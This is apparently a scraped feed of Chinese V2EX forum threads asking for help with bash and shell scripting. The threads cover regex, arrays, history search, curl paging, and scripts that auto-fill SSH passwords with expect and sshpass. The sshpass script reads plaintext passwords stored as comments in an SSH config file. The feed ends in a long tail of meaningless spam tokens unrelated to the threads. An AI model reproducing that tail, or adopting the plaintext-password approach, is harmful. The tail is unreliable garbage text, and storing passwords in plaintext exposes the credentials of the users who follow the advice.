"(yes/no)?" {send "yes\r";exp_continue}
"password:" {send "$P\r"}
}
expect eof
EOF ]]>
询问一个正则表达式,请大家帮忙 tag:www.v2ex.com,2019-09-05:/t/598130 2019-09-05T02:47:23Z 2019-09-05T06:55:01Z fsckzy member/fsckzy 没有行号,不管有多少行,只替换最后 3 个

abc abc abc abc abc abc 

改为

abc abc abc 123 123 123 
]]>
请教一个 bash 的问题 tag:www.v2ex.com,2019-08-07:/t/589863 2019-08-07T08:21:06Z 2019-08-06T10:59:42Z davidxj member/davidxj 看书的时候看到一个命令,不是很懂,mkdir test & $_ 这个$_是什么意思的,请问

]]>
请教 Shell 空字符串数组的问题 tag:www.v2ex.com,2019-06-17:/t/574598 2019-06-17T02:02:35Z 2019-06-25T11:21:21Z adoyle member/adoyle #!/usr/bin/env bash k=("$(printf '\n\n\n')") echo ${#k[@]} k="$(printf '\n\n\n')" echo ${#k[@]}

我发现 k 的长度都是 1,怎么样才能让它是 3 呢?

还有个类似的问题,

#!/usr/bin/env bash f() { local o=('' '' '') printf '%s\n' "${o[@]}" } k=$(f) echo ${#k[@]} 

我想通过函数 f 来返回一个长度为 3 的空字符串数组给 k。应该怎么改才能做到呢?

]]>
统计一下,如果你在用 bash,用什么版本号的 bash? tag:www.v2ex.com,2019-06-03:/t/570278 2019-06-03T04:29:46Z 2019-06-07T06:30:38Z adoyle member/adoyle 最近在写 Bash shell script,想到 Bash 4.3 有个 nameref 的特性,但是之前版本都是没有的。 而且 Bash 3 也没有 Associative Array。 于是产生一个疑问,写脚本有必要兼容到 Bash 3 吗?

顺便统计一下,如果你在用 bash,现在用的是什么版本号的 bash ?

]]>
sh 可以运行后执行一段脚本吗? bash 是可以的。 tag:www.v2ex.com,2019-03-20:/t/546698 2019-03-20T09:51:39Z 2019-03-20T09:48:39Z c4f36e5766583218 member/c4f36e5766583218 看这个 bash doc: https://wiki.archlinux.org/index.php/Bash_(简体中文)#配置文件在启动时的引用顺序

]]>
bash shell history search tag:www.v2ex.com,2019-02-12:/t/534286 2019-02-12T09:37:54Z 2019-02-21T05:47:50Z mattx member/mattx bash 可以用 ctrl + r 来搜索历史命令,但是有时候匹配不够好,所以有时候会用 history | grep xxx,来找,找到以后 鼠标选择然后复制,挺麻烦的。可以看到 history 有个 line num 信息,是否能快速利用起来?

  1. 求 快速搜索历史命令的方法,可以快速往上往下翻
  2. 求 history 高级用法,快速找到某条历史命令,并自动生成在 shell 终端
]]>
Shell 给变量的赋值里带 $ 要怎么写? tag:www.v2ex.com,2019-01-31:/t/532154 2019-01-31T06:17:14Z 2019-01-31T07:25:26Z mifar member/mifar 想定义

VH_ROOT=`$VH_ROOT` VH_NAME="$VH_NAME" 

但明显 ehco $VH_ROOT 输出会是空。

求解如何 使用$VH_ROOT 输出的就是 $VH_ROOT?

]]>
[求助] shell 处理 yaml tag:www.v2ex.com,2018-12-09:/t/515954 2018-12-09T15:31:37Z 2018-12-09T19:01:35Z Jobin0528 member/Jobin0528 今天想合并文件写出个递归。。。 tag:www.v2ex.com,2018-11-13:/t/507346 2018-11-13T04:15:36Z 2018-11-13T08:00:21Z xi_lin member/xi_lin ls | grep Camp | xargs cat > CampCombine

一会儿硬盘就炸了。。

]]>
啊,我中毒了 tag:www.v2ex.com,2018-10-19:/t/499246 2018-10-19T10:24:56Z 2018-10-20T02:56:00Z Princeling member/Princeling 今天在 windows 下用 TIM 聊天,想关闭窗口的时候下意识的敲了个 exit 和回车发出去了。

]]>
寻一段 shell 来实现自动填写 ssh 登录密码 tag:www.v2ex.com,2018-09-11:/t/488325 2018-09-11T12:35:13Z 2018-09-11T20:39:20Z kuoruan member/kuoruan 非私钥公钥认证方式,仅通过写一段 shell 脚本,自动获取并调用 sshpass 输入密码,实现免输密码登录

网上找到的解决方案:

https://askubuntu.com/a/829837 https://github.com/Shmadul/easyssh

ssh config 文件类似于,通过注释的方式填入密码

Host host User root #Password passwd HostName localhost Port 2222 

原脚本:

#!/bin/bash host=$1 password=`awk "/#Password/ && inhost { print \\\$2 } /Host/ { inhost=0 } /Host $host/ { inhost=1 }" ~/.ssh/config` if [[ -z "$password" ]]; then /usr/bin/ssh $* else sshpass -p $password /usr/bin/ssh $* fi 

但是测试之后无法正常获取到 host 对应的 Password,应该是 awk 语句有问题

希望各位能帮忙看看这 awk 应该怎么写,谢谢

]]>
秀一下原生的 “终端.app”(bash) tag:www.v2ex.com,2018-09-08:/t/487476 2018-09-08T14:02:38Z 2018-09-25T02:37:19Z MrUser member/MrUser 不是 zsh + oh my zsh,这是 mac 自带的终端,用的 bash

终端.app

下边是这个效果的配置

偏好设置

]]>
# [求助] 用 curl 抓取一个网站,网站有很多分页,但不论怎么指 page=[2-100],抓取的都只是 page=1 的内容... tag:www.v2ex.com,2018-08-10:/t/478468 2018-08-10T01:01:11Z 2018-08-10T02:56:15Z Ger2EX member/Ger2EX 本人用 curl 抓取http://www.gmkfreefonts.com/index.php?letter=a&page=3&res=12内容; 但返回的始终是http://www.gmkfreefonts.com/index.php?letter=a&page=1&res=12的内容;

浏览器 http://www.gmkfreefonts.com/index.php?letter=a&page=3&res=12 可以直接跳转到 page3

curl -s http://www.gmkfreefonts.com/index.php?letter=a&page=3&res=12 

小白整了一晚也没整明白,请高手指点 1-2,谢谢!

]]>
请问这段 shell 代码有设么问题吗 tag:www.v2ex.com,2018-07-31:/t/475628 2018-07-31T05:42:18Z 2018-07-31T07:46:42Z DongDongXie member/DongDongXie for i in $(seq 1 10) do date=date -d "$date_base -$i days" "+%Y-%m-%d" echo $date for cid1 in "5025" "1315" "1672" do nohup pig -useHCatalog -param dt=${date} cs=${cid1} join_feature_qq.pig >log/log_$date_$cid1 2>&1 & done wait done

RT,新手上路,这段代码老是执行不成功,请问有什么问题吗

]]>
ubao snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86